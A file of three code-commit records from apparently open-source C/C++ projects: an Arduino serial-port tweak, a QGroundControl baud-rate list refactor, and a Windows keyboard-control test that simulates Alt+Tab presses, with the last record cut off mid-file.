{"text":"<commit_before>\/************************************************************\/\n\/*    NAME: Mike Bogochow, Jeff Masucci, Cody Noel          *\/\n\/*    ORGN: UNH                                             *\/\n\/*    FILE: ARDUINOComm.h                                   *\/\n\/*    DATE: March 2014                                      *\/\n\/************************************************************\/\n\/* This is an implementation of IMOOSComm for communicating *\/\n\/* with an Arduino.                                         *\/\n\/************************************************************\/\n\n#include \"ArduinoComm.h\"\n\n#include <fcntl.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <sstream>\n#include <string.h>\n\n#include <termios.h>\n\nusing namespace std;\n\nArduinoComm::ArduinoComm(const char *portName, int baudRate, \n  const char *delimiter)\n  : serialPortName(portName)\n  , baudRate(baudRate)\n  , delim(delimiter)\n{\n}\n\nArduinoComm::~ArduinoComm()\n{\n  close(serialFD);\n}\n\n\/**\n * Open serial port with Arduino.\n * Based on arduino-serial.c by todbot\n * (https:\/\/github.com\/todbot\/arduino-serial)\n *\n * @return true on successful open of the serial port\n *         false if opening the serial port or getting\/setting attributes failed\n *\/\nbool ArduinoComm::openComm()\n{\n  struct termios options;\n  speed_t baud = baudRate;\n\n  serialFD = open(serialPortName, O_RDWR | O_NONBLOCK);\n  if (serialFD < 0)\n  {\n    \/\/MOOSTrace(\"Error opening serial (%s): %s\\n\", serialPortName,\n    \/\/  strerror(errno));\n    return false;\n  }\n\n  if (tcgetattr(serialFD, &options) < 0)\n  {\n    \/\/MOOSTrace(\"Failed to get terminal settings: %s\\n\", strerror(errno));\n    return false;\n  }\n\n  switch (baudRate)\n  {\n    case 4800:   baud=B4800;   break;\n    case 9600:   baud=B9600;   break;\n#ifdef B14400\n    case 14400:  baud=B14400;  break;\n#endif\n    case 19200:  baud=B19200;  break;\n#ifdef B28800\n    case 28800:  baud=B28800;  break;\n#endif\n    case 38400:  baud=B38400;  break;\n    case 57600:  baud=B57600;  break;\n    case 115200: baud=B115200; break;\n  }\n\n  cfsetispeed(&options, baud);\n  cfsetospeed(&options, baud);\n\n  \/\/ 8N1\n  options.c_cflag &= ~PARENB;\n  options.c_cflag &= ~CSTOPB;\n  options.c_cflag &= ~CSIZE;\n  options.c_cflag |= CS8;\n  options.c_cflag &= ~CRTSCTS;  \/\/ no flow control\n  \/\/toptions.c_cflag &= ~HUPCL; \/\/ disable hang-up-on-close to avoid reset\n  options.c_cflag |= CREAD | CLOCAL;  \/\/ turn on READ & ignore ctrl lines\n  options.c_iflag &= ~(IXON | IXOFF | IXANY); \/\/ turn off s\/w flow ctrl\n  options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG); \/\/ make raw\n  options.c_oflag &= ~OPOST; \/\/ make raw\n  options.c_cc[VMIN]  = 0;\n  options.c_cc[VTIME] = 0;\n  \/\/toptions.c_cc[VTIME] = 20;\n\n  tcsetattr(serialFD, TCSANOW, &options);\n  if (tcsetattr(serialFD, TCSAFLUSH, &options) < 0)\n  {\n    \/\/MOOSTrace(\"Failed to set terminal settings: %s\\n\", strerror(errno));\n    return false;\n  }\n\n  return true;\n}\n\nbool ArduinoComm::writeMsg(const char *name, double value)\n{\n  ostringstream ss;\n  ss << value;\n  return writeMsg(name, ss.str().c_str());\n}\n\nbool ArduinoComm::writeMsg(const char *name, const char *value)\n{\n  ostringstream ss;\n  ss << name << '=' << value << delim;\n\n  const char *msg = ss.str().c_str(); \/\/ Full message to sendi\n  size_t msgLen = strlen(msg);        \/\/ Length of message we are sending\n  ssize_t nBytes;                     \/\/ Actual number of bytes written\n\n  \/\/ Check if we can write, return if not since we don't want to block\n\/*  struct pollfd mpollfd = { .fd = fd, .events = POLLOUT };\n  MOOSTrace(\"POLL: %i\\n\", poll(&mpollfd, 1, 0));\n  if (!(poll(&mpollfd, 1, 0) > 0))\n    return MOOSFail(\"Stream is not ready for writing\");*\/\n\n  \/\/ Write to our FIFO\n  nBytes = write(serialFD, msg, msgLen);\n  if (nBytes < 0)\n    return false; \/\/ \"Error writing to frontseat\"\n\n  return true;\n}\n\nint ArduinoComm::readMsg(char *buffer, int bufferLen)\n{\n  return read(serialFD, buffer, bufferLen);\n}\n<commit_msg>Added disabling hang up on close to stop resetting Arduino<commit_after>\/************************************************************\/\n\/*    NAME: Mike Bogochow, Jeff Masucci, Cody Noel          *\/\n\/*    ORGN: UNH                                             *\/\n\/*    FILE: ARDUINOComm.h                                   *\/\n\/*    DATE: March 2014                                      *\/\n\/************************************************************\/\n\/* This is an implementation of IMOOSComm for communicating *\/\n\/* with an Arduino.                                         *\/\n\/************************************************************\/\n\n#include \"ArduinoComm.h\"\n\n#include <fcntl.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <sstream>\n#include <string.h>\n\n#include <termios.h>\n\nusing namespace std;\n\nArduinoComm::ArduinoComm(const char *portName, int baudRate, \n  const char *delimiter)\n  : serialPortName(portName)\n  , baudRate(baudRate)\n  , delim(delimiter)\n{\n}\n\nArduinoComm::~ArduinoComm()\n{\n  close(serialFD);\n}\n\n\/**\n * Open serial port with Arduino.\n * Based on arduino-serial.c by todbot\n * (https:\/\/github.com\/todbot\/arduino-serial)\n *\n * @return true on successful open of the serial port\n *         false if opening the serial port or getting\/setting attributes failed\n *\/\nbool ArduinoComm::openComm()\n{\n  struct termios options;\n  speed_t baud = baudRate;\n\n  serialFD = open(serialPortName, O_RDWR | O_NONBLOCK);\n  if (serialFD < 0)\n  {\n    \/\/MOOSTrace(\"Error opening serial (%s): %s\\n\", serialPortName,\n    \/\/  strerror(errno));\n    return false;\n  }\n\n  if (tcgetattr(serialFD, &options) < 0)\n  {\n    \/\/MOOSTrace(\"Failed to get terminal settings: %s\\n\", strerror(errno));\n    return false;\n  }\n\n  switch (baudRate)\n  {\n    case 4800:   baud=B4800;   break;\n    case 9600:   baud=B9600;   break;\n#ifdef B14400\n    case 14400:  baud=B14400;  break;\n#endif\n    case 19200:  baud=B19200;  break;\n#ifdef B28800\n    case 28800:  baud=B28800;  break;\n#endif\n    case 38400:  baud=B38400;  break;\n    case 57600:  baud=B57600;  break;\n    case 115200: baud=B115200; break;\n  }\n\n  cfsetispeed(&options, baud);\n  cfsetospeed(&options, baud);\n\n  \/\/ 8N1\n  options.c_cflag &= ~PARENB;\n  options.c_cflag &= ~CSTOPB;\n  options.c_cflag &= ~CSIZE;\n  options.c_cflag |= CS8;\n  options.c_cflag &= ~CRTSCTS;  \/\/ no flow control \n  options.c_cflag |= CREAD | CLOCAL;  \/\/ turn on READ & ignore ctrl lines\n  options.c_cflag &= ~HUPCL; \/\/ disable hang-up-on-close to avoid reset\n  options.c_iflag &= ~(IXON | IXOFF | IXANY); \/\/ turn off s\/w flow ctrl\n  options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG); \/\/ make raw\n  options.c_oflag &= ~OPOST; \/\/ make raw\n  options.c_cc[VMIN]  = 0;\n  options.c_cc[VTIME] = 0;\n  \/\/toptions.c_cc[VTIME] = 20;\n\n  tcsetattr(serialFD, TCSANOW, &options);\n  if (tcsetattr(serialFD, TCSAFLUSH, &options) < 0)\n  {\n    \/\/MOOSTrace(\"Failed to set terminal settings: %s\\n\", strerror(errno));\n    return false;\n  }\n\n  return true;\n}\n\nbool ArduinoComm::writeMsg(const char *name, double value)\n{\n  ostringstream ss;\n  ss << value;\n  return writeMsg(name, ss.str().c_str());\n}\n\nbool ArduinoComm::writeMsg(const char *name, const char *value)\n{\n  ostringstream ss;\n  ss << name << '=' << value << delim;\n\n  const char *msg = ss.str().c_str(); \/\/ Full message to sendi\n  size_t msgLen = strlen(msg);        \/\/ Length of message we are sending\n  ssize_t nBytes;                     \/\/ Actual number of bytes written\n\n  \/\/ Check if we can write, return if not since we don't want to block\n\/*  struct pollfd mpollfd = { .fd = fd, .events = POLLOUT };\n  MOOSTrace(\"POLL: %i\\n\", poll(&mpollfd, 1, 0));\n  if (!(poll(&mpollfd, 1, 0) > 0))\n    return MOOSFail(\"Stream is not ready for writing\");*\/\n\n  \/\/ Write to our FIFO\n  nBytes = write(serialFD, msg, msgLen);\n  if (nBytes < 0)\n    return false; \/\/ \"Error writing to frontseat\"\n\n  return true;\n}\n\nint ArduinoComm::readMsg(char *buffer, int bufferLen)\n{\n  return read(serialFD, buffer, bufferLen);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=====================================================================\n\nQGroundControl Open Source Ground Control Station\n\n(c) 2009, 2010 QGROUNDCONTROL PROJECT <http:\/\/www.qgroundcontrol.org>\n\nThis file is part of the QGROUNDCONTROL project\n\n    QGROUNDCONTROL is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    QGROUNDCONTROL is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with QGROUNDCONTROL. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n======================================================================*\/\n\n\/**\n * @file\n *   @brief Implementation of SerialConfigurationWindow\n *   @author Lorenz Meier <mavteam@student.ethz.ch>\n *\n *\/\n\n#include <QDebug>\n\n#include <SerialConfigurationWindow.h>\n#include <SerialLinkInterface.h>\n#include <QDir>\n#include <QSettings>\n#include <QFileInfoList>\n\nSerialConfigurationWindow::SerialConfigurationWindow(LinkInterface* link, QWidget *parent, Qt::WindowFlags flags) : QWidget(parent, flags),\n    userConfigured(false)\n{\n    SerialLinkInterface* serialLink = dynamic_cast<SerialLinkInterface*>(link);\n\n    if(serialLink != 0)\n    {\n        serialLink->loadSettings();\n        this->link = serialLink;\n\n        \/\/ Setup the user interface according to link type\n        ui.setupUi(this);\n\n        \/\/ Create action to open this menu\n        \/\/ Create configuration action for this link\n        \/\/ Connect the current UAS\n        action = new QAction(QIcon(\":\/images\/devices\/network-wireless.svg\"), \"\", link);\n        setLinkName(link->getName());\n\n        setupPortList();\n\n        \/\/ Set up baud rates\n        ui.baudRate->clear();\n        ui.baudRate->addItem(\"50\", 50);\n        ui.baudRate->addItem(\"70\", 70);\n        ui.baudRate->addItem(\"110\", 110);\n        ui.baudRate->addItem(\"134\", 134);\n        ui.baudRate->addItem(\"150\", 150);\n        ui.baudRate->addItem(\"200\", 200);\n        ui.baudRate->addItem(\"300\", 300);\n        ui.baudRate->addItem(\"600\", 600);\n        ui.baudRate->addItem(\"1200\", 1200);\n        ui.baudRate->addItem(\"1800\", 1800);\n        ui.baudRate->addItem(\"2400\", 2400);\n        ui.baudRate->addItem(\"4800\", 4800);\n        ui.baudRate->addItem(\"9600\", 9600);\n#ifdef Q_OS_WIN\n        ui.baudRate->addItem(\"14400\", 14400);\n#endif\n        ui.baudRate->addItem(\"19200\", 19200);\n        ui.baudRate->addItem(\"38400\", 38400);\n#ifdef Q_OS_WIN\n        ui.baudRate->addItem(\"56000\", 56000);\n#endif\n        ui.baudRate->addItem(\"57600\", 57600);\n#ifdef Q_OS_WIN\n        ui.baudRate->addItem(\"76800\", 76800);\n#endif\n        ui.baudRate->addItem(\"115200\", 115200);\n#ifdef Q_OS_WIN\n        ui.baudRate->addItem(\"128000\", 128000);\n        ui.baudRate->addItem(\"230400\", 230400);\n        ui.baudRate->addItem(\"256000\", 256000);\n        ui.baudRate->addItem(\"460800\", 460800);\n#endif\n        ui.baudRate->addItem(\"921600\", 921600);\n\n        connect(action, SIGNAL(triggered()), this, SLOT(configureCommunication()));\n\n        \/\/ Make sure that a change in the link name will be reflected in the UI\n        connect(link, SIGNAL(nameChanged(QString)), this, SLOT(setLinkName(QString)));\n\n        \/\/ Connect the individual user interface inputs\n        connect(ui.portName, SIGNAL(editTextChanged(QString)), this, SLOT(setPortName(QString)));\n        connect(ui.portName, SIGNAL(currentIndexChanged(QString)), this, SLOT(setPortName(QString)));\n        connect(ui.baudRate, SIGNAL(activated(QString)), this->link, SLOT(setBaudRateString(QString)));\n        connect(ui.flowControlCheckBox, SIGNAL(toggled(bool)), this, SLOT(enableFlowControl(bool)));\n        connect(ui.parNone, SIGNAL(toggled(bool)), this, SLOT(setParityNone(bool)));\n        connect(ui.parOdd, SIGNAL(toggled(bool)), this, SLOT(setParityOdd(bool)));\n        connect(ui.parEven, SIGNAL(toggled(bool)), this, SLOT(setParityEven(bool)));\n        connect(ui.dataBitsSpinBox, SIGNAL(valueChanged(int)), this->link, SLOT(setDataBits(int)));\n        connect(ui.stopBitsSpinBox, SIGNAL(valueChanged(int)), this->link, SLOT(setStopBits(int)));\n\n        \/\/connect(this->link, SIGNAL(connected(bool)), this, SLOT());\n        ui.portName->setSizeAdjustPolicy(QComboBox::AdjustToContentsOnFirstShow);\n        ui.baudRate->setSizeAdjustPolicy(QComboBox::AdjustToContentsOnFirstShow);\n\n        switch(this->link->getParityType()) {\n        case 0:\n            ui.parNone->setChecked(true);\n            break;\n        case 1:\n            ui.parOdd->setChecked(true);\n            break;\n        case 2:\n            ui.parEven->setChecked(true);\n            break;\n        default:\n            \/\/ Enforce default: no parity in link\n            setParityNone(true);\n            ui.parNone->setChecked(true);\n            break;\n        }\n\n        switch(this->link->getFlowType()) {\n        case 0:\n            ui.flowControlCheckBox->setChecked(false);\n            break;\n        case 1:\n            ui.flowControlCheckBox->setChecked(true);\n            break;\n        default:\n            ui.flowControlCheckBox->setChecked(false);\n            enableFlowControl(false);\n        }\n\n        ui.baudRate->setCurrentIndex(ui.baudRate->findText(QString(\"%1\").arg(this->link->getBaudRate())));\n\n        ui.dataBitsSpinBox->setValue(this->link->getDataBits());\n        ui.stopBitsSpinBox->setValue(this->link->getStopBits());\n\n        portCheckTimer = new QTimer(this);\n        portCheckTimer->setInterval(1000);\n        connect(portCheckTimer, SIGNAL(timeout()), this, SLOT(setupPortList()));\n\n        \/\/ Display the widget\n        this->window()->setWindowTitle(tr(\"Serial Communication Settings\"));\n    }\n    else\n    {\n        qDebug() << \"Link is NOT a serial link, can't open configuration window\";\n    }\n}\n\nSerialConfigurationWindow::~SerialConfigurationWindow()\n{\n\n}\n\nvoid SerialConfigurationWindow::showEvent(QShowEvent* event)\n{\n    Q_UNUSED(event);\n    portCheckTimer->start();\n}\n\nvoid SerialConfigurationWindow::hideEvent(QHideEvent* event)\n{\n    Q_UNUSED(event);\n    portCheckTimer->stop();\n}\n\nQAction* SerialConfigurationWindow::getAction()\n{\n    return action;\n}\n\nvoid SerialConfigurationWindow::configureCommunication()\n{\n    QString selected = ui.portName->currentText();\n    setupPortList();\n    ui.portName->setEditText(selected);\n    this->show();\n}\n\nvoid SerialConfigurationWindow::setupPortList()\n{\n    if (!link) return;\n\n    if (!userConfigured)\n    {\n        ui.portName->clear();\n        ui.portName->clearEditText();\n    }\n    \/\/ Get the ports available on this system\n    QVector<QString>* ports = link->getCurrentPorts();\n\n    \/\/ Add the ports in reverse order, because we prepend them to the list\n    for (int i = ports->size() - 1; i >= 0; --i)\n    {\n        \/\/ Prepend newly found port to the list\n        if (ui.portName->findText(ports->at(i)) == -1)\n        {\n            ui.portName->insertItem(0, ports->at(i));\n            if (!userConfigured) ui.portName->setEditText(ports->at(i));\n        }\n    }\n\n\n    ui.portName->setEditText(this->link->getPortName());\n}\n\nvoid SerialConfigurationWindow::enableFlowControl(bool flow)\n{\n    if(flow)\n    {\n        link->setFlowType(1);\n    }\n    else\n    {\n        link->setFlowType(0);\n    }\n}\n\nvoid SerialConfigurationWindow::setParityNone(bool accept)\n{\n    if (accept) link->setParityType(0);\n}\n\nvoid SerialConfigurationWindow::setParityOdd(bool accept)\n{\n    if (accept) link->setParityType(1);\n}\n\nvoid SerialConfigurationWindow::setParityEven(bool accept)\n{\n    if (accept) link->setParityType(2);\n}\n\nvoid SerialConfigurationWindow::setPortName(QString port)\n{\n#ifdef Q_OS_WIN\n    port = port.split(\"-\").first();\n#endif\n    port = port.remove(\" \");\n\n    if (this->link->getPortName() != port) {\n        link->setPortName(port);\n    }\n    userConfigured = true;\n}\n\nvoid SerialConfigurationWindow::setLinkName(QString name)\n{\n    Q_UNUSED(name);\n    \/\/ FIXME\n    action->setText(tr(\"Configure \") + link->getName());\n    action->setStatusTip(tr(\"Configure \") + link->getName());\n    setWindowTitle(tr(\"Configuration of \") + link->getName());\n}\n\n<commit_msg>Match the listed supported serial ports in the UI to those supported by QSerialPort. This commit unifies the supported baud rates completely across QGC and OSes.<commit_after>\/*=====================================================================\n\nQGroundControl Open Source Ground Control Station\n\n(c) 2009, 2010 QGROUNDCONTROL PROJECT <http:\/\/www.qgroundcontrol.org>\n\nThis file is part of the QGROUNDCONTROL project\n\n    QGROUNDCONTROL is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    QGROUNDCONTROL is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with QGROUNDCONTROL. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n======================================================================*\/\n\n\/**\n * @file\n *   @brief Implementation of SerialConfigurationWindow\n *   @author Lorenz Meier <mavteam@student.ethz.ch>\n *\n *\/\n\n#include <QDebug>\n\n#include <SerialConfigurationWindow.h>\n#include <SerialLinkInterface.h>\n#include <QDir>\n#include <QSettings>\n#include <QFileInfoList>\n\nSerialConfigurationWindow::SerialConfigurationWindow(LinkInterface* link, QWidget *parent, Qt::WindowFlags flags) : QWidget(parent, flags),\n    userConfigured(false)\n{\n    SerialLinkInterface* serialLink = dynamic_cast<SerialLinkInterface*>(link);\n\n    if(serialLink != 0)\n    {\n        serialLink->loadSettings();\n        this->link = serialLink;\n\n        \/\/ Setup the user interface according to link type\n        ui.setupUi(this);\n\n        \/\/ Create action to open this menu\n        \/\/ Create configuration action for this link\n        \/\/ Connect the current UAS\n        action = new QAction(QIcon(\":\/images\/devices\/network-wireless.svg\"), \"\", link);\n        setLinkName(link->getName());\n\n        setupPortList();\n\n        \/\/ Set up baud rates\n        ui.baudRate->clear();\n\t\t\n\t\t\/\/ Keep track of all desired baud rates by OS. These are iterated through\n\t\t\/\/ later and added to ui.baudRate.\n\t\tQList<int> supportedBaudRates;\n\n\t\t\/\/ Baud rates supported only by POSIX systems\n#if defined(Q_OS_UNIX) || defined(Q_OS_LINUX) || defined(Q_OS_DARWIN)\n\t\tsupportedBaudRates << 50;\n\t\tsupportedBaudRates << 75;\n\t\tsupportedBaudRates << 134;\n\t\tsupportedBaudRates << 150;\n\t\tsupportedBaudRates << 200;\n\t\tsupportedBaudRates << 1800;\n#endif\n\t\t\/\/ Baud rates supported only by Linux\n#if defined(Q_OS_LINUX)\n\t\tsupportedBaudRates << 230400;\n\t\tsupportedBaudRates << 460800;\n\t\tsupportedBaudRates << 500000;\n\t\tsupportedBaudRates << 576000;\n\t\tsupportedBaudRates << 921600;\n#endif\n\n\t\t\/\/ Baud rates supported only by Windows\n#if defined(Q_OS_WIN)\n\t\tsupportedBaudRates << 14400;\n\t\tsupportedBaudRates << 56000;\n\t\tsupportedBaudRates << 128000;\n\t\tsupportedBaudRates << 256000;\n#endif\n\n\t\t\/\/ Baud rates supported by everyone\n\t\tsupportedBaudRates << 110;\n\t\tsupportedBaudRates << 300;\n\t\tsupportedBaudRates << 600;\n\t\tsupportedBaudRates << 1200;\n\t\tsupportedBaudRates << 2400;\n\t\tsupportedBaudRates << 4800;\n\t\tsupportedBaudRates << 9600;\n\t\tsupportedBaudRates << 19200;\n\t\tsupportedBaudRates << 38400;\n\t\tsupportedBaudRates << 57600;\n\t\tsupportedBaudRates << 115200;\n\t\t\n\t\t\/\/ Now actually add all of our supported baud rates to the UI.\n\t\tqSort(supportedBaudRates.begin(), supportedBaudRates.end());\n\t\tfor (int i = 0; i < supportedBaudRates.size(); ++i) {\n\t\t\tui.baudRate->addItem(QString::number(supportedBaudRates.at(i)), supportedBaudRates.at(i));\n\t\t}\n\n        connect(action, SIGNAL(triggered()), this, SLOT(configureCommunication()));\n\n        \/\/ Make sure that a change in the link name will be reflected in the UI\n        connect(link, SIGNAL(nameChanged(QString)), this, SLOT(setLinkName(QString)));\n\n        \/\/ Connect the individual user interface inputs\n        connect(ui.portName, SIGNAL(editTextChanged(QString)), this, SLOT(setPortName(QString)));\n        connect(ui.portName, SIGNAL(currentIndexChanged(QString)), this, SLOT(setPortName(QString)));\n        connect(ui.baudRate, SIGNAL(activated(QString)), this->link, SLOT(setBaudRateString(QString)));\n        connect(ui.flowControlCheckBox, SIGNAL(toggled(bool)), this, SLOT(enableFlowControl(bool)));\n        connect(ui.parNone, SIGNAL(toggled(bool)), this, SLOT(setParityNone(bool)));\n        connect(ui.parOdd, SIGNAL(toggled(bool)), this, SLOT(setParityOdd(bool)));\n        connect(ui.parEven, SIGNAL(toggled(bool)), this, SLOT(setParityEven(bool)));\n        connect(ui.dataBitsSpinBox, SIGNAL(valueChanged(int)), this->link, SLOT(setDataBits(int)));\n        connect(ui.stopBitsSpinBox, SIGNAL(valueChanged(int)), this->link, SLOT(setStopBits(int)));\n\n        \/\/connect(this->link, SIGNAL(connected(bool)), this, SLOT());\n        ui.portName->setSizeAdjustPolicy(QComboBox::AdjustToContentsOnFirstShow);\n        ui.baudRate->setSizeAdjustPolicy(QComboBox::AdjustToContentsOnFirstShow);\n\n        switch(this->link->getParityType()) {\n        case 0:\n            ui.parNone->setChecked(true);\n            break;\n        case 1:\n            ui.parOdd->setChecked(true);\n            break;\n        case 2:\n            ui.parEven->setChecked(true);\n            break;\n        default:\n            \/\/ Enforce default: no parity in link\n            setParityNone(true);\n            ui.parNone->setChecked(true);\n            break;\n        }\n\n        switch(this->link->getFlowType()) {\n        case 0:\n            ui.flowControlCheckBox->setChecked(false);\n            break;\n        case 1:\n            ui.flowControlCheckBox->setChecked(true);\n            break;\n        default:\n            ui.flowControlCheckBox->setChecked(false);\n            enableFlowControl(false);\n        }\n\n        ui.baudRate->setCurrentIndex(ui.baudRate->findText(QString(\"%1\").arg(this->link->getBaudRate())));\n\n        ui.dataBitsSpinBox->setValue(this->link->getDataBits());\n        ui.stopBitsSpinBox->setValue(this->link->getStopBits());\n\n        portCheckTimer = new QTimer(this);\n        portCheckTimer->setInterval(1000);\n        connect(portCheckTimer, SIGNAL(timeout()), this, SLOT(setupPortList()));\n\n        \/\/ Display the widget\n        this->window()->setWindowTitle(tr(\"Serial Communication Settings\"));\n    }\n    else\n    {\n        qDebug() << \"Link is NOT a serial link, can't open configuration window\";\n    }\n}\n\nSerialConfigurationWindow::~SerialConfigurationWindow()\n{\n\n}\n\nvoid SerialConfigurationWindow::showEvent(QShowEvent* event)\n{\n    Q_UNUSED(event);\n    portCheckTimer->start();\n}\n\nvoid SerialConfigurationWindow::hideEvent(QHideEvent* event)\n{\n    Q_UNUSED(event);\n    portCheckTimer->stop();\n}\n\nQAction* SerialConfigurationWindow::getAction()\n{\n    return action;\n}\n\nvoid SerialConfigurationWindow::configureCommunication()\n{\n    QString selected = ui.portName->currentText();\n    setupPortList();\n    ui.portName->setEditText(selected);\n    this->show();\n}\n\nvoid SerialConfigurationWindow::setupPortList()\n{\n    if (!link) return;\n\n    if (!userConfigured)\n    {\n        ui.portName->clear();\n        ui.portName->clearEditText();\n    }\n    \/\/ Get the ports available on this system\n    QVector<QString>* ports = link->getCurrentPorts();\n\n    \/\/ Add the ports in reverse order, because we prepend them to the list\n    for (int i = ports->size() - 1; i >= 0; --i)\n    {\n        \/\/ Prepend newly found port to the list\n        if (ui.portName->findText(ports->at(i)) == -1)\n        {\n            ui.portName->insertItem(0, ports->at(i));\n            if (!userConfigured) ui.portName->setEditText(ports->at(i));\n        }\n    }\n\n\n    ui.portName->setEditText(this->link->getPortName());\n}\n\nvoid SerialConfigurationWindow::enableFlowControl(bool flow)\n{\n    if(flow)\n    {\n        link->setFlowType(1);\n    }\n    else\n    {\n        link->setFlowType(0);\n    }\n}\n\nvoid SerialConfigurationWindow::setParityNone(bool accept)\n{\n    if (accept) link->setParityType(0);\n}\n\nvoid SerialConfigurationWindow::setParityOdd(bool accept)\n{\n    if (accept) link->setParityType(1);\n}\n\nvoid SerialConfigurationWindow::setParityEven(bool accept)\n{\n    if (accept) link->setParityType(2);\n}\n\nvoid SerialConfigurationWindow::setPortName(QString port)\n{\n#ifdef Q_OS_WIN\n    port = port.split(\"-\").first();\n#endif\n    port = port.remove(\" \");\n\n    if (this->link->getPortName() != port) {\n        link->setPortName(port);\n    }\n    userConfigured = true;\n}\n\nvoid SerialConfigurationWindow::setLinkName(QString name)\n{\n    Q_UNUSED(name);\n    \/\/ FIXME\n    action->setText(tr(\"Configure \") + link->getName());\n    action->setStatusTip(tr(\"Configure \") + link->getName());\n    setWindowTitle(tr(\"Configuration of \") + link->getName());\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <string>\n#include <Windows.h>\n#include \"kybrdCtrl.h\"\n#include \"WearableDevice.h\"\n#include <vector>\n#include <thread>\n\nusing namespace std;\n\n#define KEYBOARD_CONTROL_TEST\n\n#ifdef TEST_WEARABLE_DEVICE\n\nclass TestWearableClass : public WearableDevice {\npublic:\n    TestWearableClass(SharedCommandData* sharedCommandData) : WearableDevice(sharedCommandData), done(false) {\n        commandData command;\n        command.type = KEYBOARD_COMMAND;\n        command.kbd = UNDO;\n        commandList.push_back(command);\n\n        command.type = KEYBOARD_COMMAND;\n        command.kbd = COPY;\n        commandList.push_back(command);\n\n        command.type = MOUSE_COMMAND;\n        command.mouse = LEFT_CLICK;\n        commandList.push_back(command);\n    }\n\n    void runDeviceLoop() {\n        vector<commandData>::iterator it;\n\n        WearableDevice::sharedData.setRelativeCoordinates(point(100, 50));\n        for (it = commandList.begin(); it != commandList.end(); it++) {\n            WearableDevice::sharedData.addCommand(*it);\n           \/\/ this_thread::sleep_for(std::chrono::milliseconds(1000));\n        }\n        \n        WearableDevice::sharedData.setRelativeCoordinates(point(10, 10));\n\n        done = true;\n    }\n    \n    bool isDone() { return done; }\nprivate:\n    vector<commandData> commandList;\n    bool done;\n};\n\nint main() {\n    SharedCommandData sharedData;\n    TestWearableClass* testDevice = new TestWearableClass(&sharedData);\n\n    \/\/ Kick off device thread\n    startWearableDeviceListener(testDevice);\n\n    while (true) {\n        if (sharedData.isCommandQueueEmpty() && testDevice->isDone()) break;\n\n        commandData nextCmd;\n        while(!sharedData.consumeCommand(nextCmd));\n        point nextPnt = sharedData.getRelativeCoordinates();\n\n        cout << \"Command: \" << (nextCmd.type == MOUSE_COMMAND ? nextCmd.mouse : nextCmd.kbd)\n            << \", Coords: (\" << nextPnt.x << \", \" << nextPnt.y << \")\" << endl;\n    }\n\n    system(\"PAUSE\");\n    return 0;\n}\n\n#endif \n\n#ifdef KEYBOARD_CONTROL_TEST\nint main(void) {\n    \/\/ new code :)\n\n    \/\/ MANUAL TEST 1\n    cout << \"hijacking test main...\" << endl;\n\n    kybrdCtrl * controller = new kybrdCtrl();\n\n    while (1) {\n        keybd_event(VK_MENU, 0, 0, 0);\/\/ MapVirtualKey(VK_RMENU, MAPVK_VK_TO_VSC), 0, 0);\n        Sleep(10);\n        \/\/keybd_event(VK_CONTROL, MapVirtualKey(VK_CONTROL, MAPVK_VK_TO_VSC), 0, 0);\n        \/\/keybd_event(0x44, 0x20, 0, 0);\n        \/\/keybd_event(0x44, 0x20, KEYEVENTF_KEYUP, 0); \n        keybd_event(VK_TAB, 0, 0, 0);\/\/ MapVirtualKey(0x4C, VK_TAB), 0, 0);\n        Sleep(100);\n        keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP, 0);\/\/ MapVirtualKey(0x4C, VK_TAB), KEYEVENTF_KEYUP, 0);\n        Sleep(10);\n        \/\/keybd_event(VK_CONTROL, MapVirtualKey(VK_CONTROL, MAPVK_VK_TO_VSC), KEYEVENTF_KEYUP, 0);\n        keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);\/\/ MapVirtualKey(VK_RMENU, MAPVK_VK_TO_VSC), KEYEVENTF_KEYUP, 0);\n\n        Sleep(1000);\n    }\n\n    \/\/while (1) {}\n\n    \/*controller->setKeyCmd(kybdCmds::HIDE_APPS);\n    int status = controller->sendData();\n    cout << \"status = \" << status << endl;\n\n    Sleep(2000);\n\n    controller->setKeyCmd(kybdCmds::WIN_HOME);\n    status = controller->sendData();\n    cout << \"status = \" << status << endl; *\/\n\n\n    string blah;\n    cin >> blah;\n\n    int count = 0;\n    while (true) {\n        if (count++ % 2 == 0) {\n            \/\/controller->setKeyCmd(kybdCmds::ZOOM_IN);\n            \/\/controller->setKeyChar('a');\n            controller->setKeyCmd(kybdCmds::SWITCH_WIN_FORWARD);\n        }\n        else {\n            \/\/controller->setKeyCmd(kybdCmds::ZOOM_OUT);\n            \/\/controller->setKeyChar('b');\n            \/\/controller->setKeyCmd(kybdCmds::SWITCH_WIN_REVERSE);\n        }\n        \n        int status = controller->sendData();\n        cout << \"looping with opposite commands... status = \" << status << endl;\n\n        Sleep(1000);\n    }\n\n    system(\"PAUSE\");\n    return 0;\n}\n#endif\n<commit_msg>taking out comment as per pull request #12345 commetns<commit_after>#include <iostream>\n#include <string>\n#include <Windows.h>\n#include \"kybrdCtrl.h\"\n#include \"WearableDevice.h\"\n#include <vector>\n#include <thread>\n\nusing namespace std;\n\n#define KEYBOARD_CONTROL_TEST\n\n#ifdef TEST_WEARABLE_DEVICE\n\nclass TestWearableClass : public WearableDevice {\npublic:\n    TestWearableClass(SharedCommandData* sharedCommandData) : WearableDevice(sharedCommandData), done(false) {\n        commandData command;\n        command.type = KEYBOARD_COMMAND;\n        command.kbd 